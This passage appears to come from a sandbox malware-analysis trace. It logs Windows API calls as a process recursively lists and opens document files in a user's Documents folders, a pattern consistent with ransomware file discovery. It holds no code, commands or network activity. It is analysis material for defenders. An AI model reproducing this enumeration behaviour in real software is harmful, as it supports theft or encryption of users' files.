HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa\\ew7Uh tfAZjKVsun0z" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf\\bd p y\\hikga\\ew7uh tfazjkvsun0z"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0090.696] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0090.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.697] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0090.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.697] NtClose (Handle=0x168) returned 0x0 [0090.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134efe8) returned 1 [0090.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134efe8 [0090.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134f0f0 [0090.698] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa\\ew7Uh tfAZjKVsun0z\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9040 [0090.698] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2c31a320, ftCreationTime.dwHighDateTime=0x1d5bf7f, ftLastAccessTime.dwLowDateTime=0xe0919aa0, ftLastAccessTime.dwHighDateTime=0x1d5c218, ftLastWriteTime.dwLowDateTime=0xe0919aa0, ftLastWriteTime.dwHighDateTime=0x1d5c218, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.700] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x222b48a0, ftCreationTime.dwHighDateTime=0x1d5be2f, ftLastAccessTime.dwLowDateTime=0x6686c0d0, ftLastAccessTime.dwHighDateTime=0x1d5bf4a, ftLastWriteTime.dwLowDateTime=0x6686c0d0, ftLastWriteTime.dwHighDateTime=0x1d5bf4a, nFileSizeHigh=0x0, nFileSizeLow=0x9679, dwReserved0=0x0, dwReserved1=0x0, cFileName="DR3mL.doc", cAlternateFileName="")) returned 1 [0090.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134f1f8 [0090.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5638 [0090.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134f300 [0090.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.702] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b532420, ftCreationTime.dwHighDateTime=0x1d5c369, ftLastAccessTime.dwLowDateTime=0xf5062100, ftLastAccessTime.dwHighDateTime=0x1d5b6f5, ftLastWriteTime.dwLowDateTime=0xf5062100, ftLastWriteTime.dwHighDateTime=0x1d5b6f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IaJI", cAlternateFileName="")) returned 1 [0090.702] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c058050, ftCreationTime.dwHighDateTime=0x1d5c4f3, ftLastAccessTime.dwLowDateTime=0xec838dc0, ftLastAccessTime.dwHighDateTime=0x1d5b70d, ftLastWriteTime.dwLowDateTime=0xec838dc0, ftLastWriteTime.dwHighDateTime=0x1d5b70d, nFileSizeHigh=0x0, nFileSizeLow=0x16621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PBbZMtcEZNkGriPC.xlsx", cAlternateFileName="")) returned 1 [0090.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.703] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.703] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0xa04ba8 [0090.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134f1f8) returned 1 [0090.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5658 [0090.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9f3178 [0090.704] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.704] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c058050, ftCreationTime.dwHighDateTime=0x1d5c4f3, ftLastAccessTime.dwLowDateTime=0xec838dc0, ftLastAccessTime.dwHighDateTime=0x1d5b70d, ftLastWriteTime.dwLowDateTime=0xec838dc0, ftLastWriteTime.dwHighDateTime=0x1d5b70d, nFileSizeHigh=0x0, nFileSizeLow=0x16621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PBbZMtcEZNkGriPC.xlsx", cAlternateFileName="")) returned 0 [0090.704] GetLastError () returned 0x12 [0090.704] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa\\ew7Uh tfAZjKVsun0z\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9140 [0090.704] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.704] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2c31a320, ftCreationTime.dwHighDateTime=0x1d5bf7f, ftLastAccessTime.dwLowDateTime=0xe0919aa0, ftLastAccessTime.dwHighDateTime=0x1d5c218, ftLastWriteTime.dwLowDateTime=0xe0919aa0, ftLastWriteTime.dwHighDateTime=0x1d5c218, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.704] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x222b48a0, ftCreationTime.dwHighDateTime=0x1d5be2f, ftLastAccessTime.dwLowDateTime=0x6686c0d0, ftLastAccessTime.dwHighDateTime=0x1d5bf4a, ftLastWriteTime.dwLowDateTime=0x6686c0d0, ftLastWriteTime.dwHighDateTime=0x1d5bf4a, nFileSizeHigh=0x0, nFileSizeLow=0x9679, dwReserved0=0x0, dwReserved1=0x0, cFileName="DR3mL.doc", cAlternateFileName="")) returned 1 [0090.704] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b532420, ftCreationTime.dwHighDateTime=0x1d5c369, ftLastAccessTime.dwLowDateTime=0xf5062100, ftLastAccessTime.dwHighDateTime=0x1d5b6f5, ftLastWriteTime.dwLowDateTime=0xf5062100, ftLastWriteTime.dwHighDateTime=0x1d5b6f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IaJI", cAlternateFileName="")) returned 1 [0090.704] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134f1f8 [0090.705] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa\\ew7Uh tfAZjKVsun0z\\IaJI" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf\\bd p y\\hikga\\ew7uh tfazjkvsun0z\\iaji"), fInfoLevelId=0x0, lpFileInformation=0x119e0b8 | out: lpFileInformation=0x119e0b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b532420, ftCreationTime.dwHighDateTime=0x1d5c369, ftLastAccessTime.dwLowDateTime=0xf5062100, ftLastAccessTime.dwHighDateTime=0x1d5b6f5, ftLastWriteTime.dwLowDateTime=0xf5062100, ftLastWriteTime.dwHighDateTime=0x1d5b6f5, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.705] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa\\ew7Uh tfAZjKVsun0z\\IaJI" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf\\bd p y\\hikga\\ew7uh tfazjkvsun0z\\iaji"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0090.705] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e0fc, lpLastWriteTime=0x119e0fc) returned 0 [0090.705] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.705] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e154, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e154, lpOverlapped=0x0) returned 0 [0090.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.706] NtClose (Handle=0x168) returned 0x0 [0090.706] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134f1f8) returned 1 [0090.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.706] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134f1f8 [0090.707] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.707] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134f408 [0090.707] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa\\ew7Uh tfAZjKVsun0z\\IaJI\\*", fInfoLevelId=0x1, lpFindFileData=0x119df04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119df04) returned 0x2e9040 [0090.707] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b532420, ftCreationTime.dwHighDateTime=0x1d5c369, ftLastAccessTime.dwLowDateTime=0xf5062100, ftLastAccessTime.dwHighDateTime=0x1d5b6f5, ftLastWriteTime.dwLowDateTime=0xf5062100, ftLastWriteTime.dwHighDateTime=0x1d5b6f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.708] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7191860, ftCreationTime.dwHighDateTime=0x1d5bfc9, ftLastAccessTime.dwLowDateTime=0x6292dc0, ftLastAccessTime.dwHighDateTime=0x1d5c311, ftLastWriteTime.dwLowDateTime=0x6292dc0, ftLastWriteTime.dwHighDateTime=0x1d5c311, nFileSizeHigh=0x0, nFileSizeLow=0x4d77, dwReserved0=0x0, dwReserved1=0x0, cFileName="BXpxe_1oUdtYJfr.ods", cAlternateFileName="")) returned 1 [0090.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134f510 [0090.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.710] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9f3300 [0090.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134f510) returned 1 [0090.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5678 [0090.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9f3488 [0090.711] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.711] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x364593d0, ftCreationTime.dwHighDateTime=0x1d5bdfe, ftLastAccessTime.dwLowDateTime=0xd7c5c350, ftLastAccessTime.dwHighDateTime=0x1d5c0c5, ftLastWriteTime.dwLowDateTime=0xd7c5c350, ftLastWriteTime.dwHighDateTime=0x1d5c0c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JzZThU9wtkP7", cAlternateFileName="")) returned 1 [0090.711] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x364593d0, ftCreationTime.dwHighDateTime=0x1d5bdfe, ftLastAccessTime.dwLowDateTime=0xd7c5c350, ftLastAccessTime.dwHighDateTime=0x1d5c0c5, ftLastWriteTime.dwLowDateTime=0xd7c5c350, ftLastWriteTime.dwHighDateTime=0x1d5c0c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JzZThU9wtkP7", cAlternateFileName="")) returned 0 [0090.711] GetLastError () returned 0x12 [0090.711] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa\\ew7Uh tfAZjKVsun0z\\IaJI\\*", fInfoLevelId=0x1, lpFindFileData=0x119df04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119df04) returned 0x2e9200 [0090.711] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.711] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b532420, ftCreationTime.dwHighDateTime=0x1d5c369, ftLastAccessTime.dwLowDateTime=0xf5062100, ftLastAccessTime.dwHighDateTime=0x1d5b6f5, ftLastWriteTime.dwLowDateTime=0xf5062100, ftLastWriteTime.dwHighDateTime=0x1d5b6f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.711] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7191860, ftCreationTime.dwHighDateTime=0x1d5bfc9, ftLastAccessTime.dwLowDateTime=0x6292dc0, ftLastAccessTime.dwHighDateTime=0x1d5c311, ftLastWriteTime.dwLowDateTime=0x6292dc0, ftLastWriteTime.dwHighDateTime=0x1d5c311, nFileSizeHigh=0x0, nFileSizeLow=0x4d77, dwReserved0=0x0, dwReserved1=0x0, cFileName="BXpxe_1oUdtYJfr.ods", cAlternateFileName="")) returned 1 [0090.711] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119df04 | out: lpFindFileData=0x119df04*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x364593d0, ftCreationTime.dwHighDateTime=0x1d5bdfe, ftLastAccessTime.dwLowDateTime=0xd7c5c350, ftLastAccessTime.dwHighDateTime=0x1d5c0c5, ftLastWriteTime.dwLowDateTime=0xd7c5c350, ftLastWriteTime.dwHighDateTime=0x1d5c0c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JzZThU9wtkP7", cAlternateFileName="")) returned 1 [0090.711] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x11f6058 [0090.712] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa\\ew7Uh tfAZjKVsun0z\\IaJI\\JzZThU9wtkP7" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf\\bd p y\\hikga\\ew7uh tfazjkvsun0z\\iaji\\jzzthu9wtkp7"), fInfoLevelId=0x0, lpFileInformation=0x119de00 | out: lpFileInformation=0x119de00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x364593d0, ftCreationTime.dwHighDateTime=0x1d5bdfe, ftLastAccessTime.dwLowDateTime=0xd7c5c350, ftLastAccessTime.dwHighDateTime=0x1d5c0c5, ftLastWriteTime.dwLowDateTime=0xd7c5c350, ftLastWriteTime.dwHighDateTime=0x1d5c0c5, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.712] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa\\ew7Uh tfAZjKVsun0z\\IaJI\\JzZThU9wtkP7" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vpc7s\\jtx 77ok_6q2gn\\txskss27jhd6_ml0uf\\bd p y\\hikga\\ew7uh tfazjkvsun0z\\iaji\\jzzthu9wtkp7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0090.712] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119de44, lpLastWriteTime=0x119de44) returned 0 [0090.712] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.712] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119de9c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119de9c, lpOverlapped=0x0) returned 0 [0090.713] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.713] NtClose (Handle=0x168) returned 0x0 [0090.714] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0090.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.714] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x11f6058 [0090.715] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.715] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x11f61e0 [0090.715] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vpc7s\\jTx 77oK_6Q2gn\\tXSKss27JHD6_ml0uf\\bD P y\\HiKGa\\ew7Uh tfAZjKVsun0z\\IaJI\\JzZThU9wtkP7\\*", fInfoLevelId=0x1, lpFindFileData=0x119dc4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119dc4c) returned 0x2e9040 [0090.715] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x364593d0, ftCreationTime.dwHighDateTime=0x1d5bdfe, ftLastAccessTime.dwLowDateTime=0xd7c5c350, ftLastAccessTime.dwHighDateTime=0x1d5c0c5, ftLastWriteTime.dwLowDateTime=0xd7c5c350, ftLastWriteTime.dwHighDateTime=0x1d5c0c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.716] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f1fb00, ftCreationTime.dwHighDateTime=0x1d5b643, ftLastAccessTime.dwLowDateTime=0x728a8550, ftLastAccessTime.dwHighDateTime=0x1d5bb31, ftLastWriteTime.dwLowDateTime=0x728a8550, ftLastWriteTime.dwHighDateTime=0x1d5bb31, nFileSizeHigh=0x0, nFileSizeLow=0x82f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcr eZFXp.ots", cAlternateFileName="")) returned 1 [0090.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x11f6368 [0090.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5698 [0090.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x12527e0 [0090.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.719] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dfebc00, ftCreationTime.dwHighDateTime=0x1d5bfc1, ftLastAccessTime.dwLowDateTime=0x20eef090, ftLastAccessTime.dwHighDateTime=0x1d5b867, ftLastWriteTime.dwLowDateTime=0x20eef090, ftLastWriteTime.dwHighDateTime=0x1d5b867, nFileSizeHigh=0x0, nFileSizeLow=0xa07b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eQ9VC Pq.doc", cAlternateFileName="")) returned 1 [0090.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f56b8 [0090.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252968 [0090.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9740) returned 0x132a698 [0090.720] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9843fc0, ftCreationTime.dwHighDateTime=0x1d5c3d2, ftLastAccessTime.dwLowDateTime=0x6b70a20, ftLastAccessTime.dwHighDateTime=0x1d5bba3, ftLastWriteTime.dwLowDateTime=0x6b70a20, ftLastWriteTime.dwHighDateTime=0x1d5bba3, nFileSizeHigh=0x0, nFileSizeLow=0x18994, dwReserved0=0x0, dwReserved1=0x0, cFileName="Je4Z4ASc4gia1aT.rtf", cAlternateFileName="")) returned 1 [0090.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f56d8 [0090.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252af0 [0090.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.722] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119dc4c | out: lpFindFileData=0x119dc4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd0c250, ftCreationTime.dwHighDateTime=0x1d5c302, ftLastAccessTime.dwLowDateTime=0x15cf7cd0, ftLastAccessTime.dwHighDateTime=0x1d5bdd9, ftLastWriteTime.dwLowDateTime=0x15cf7cd0, ftLastWriteTime.dwHighDateTime=0x1d5bdd9, 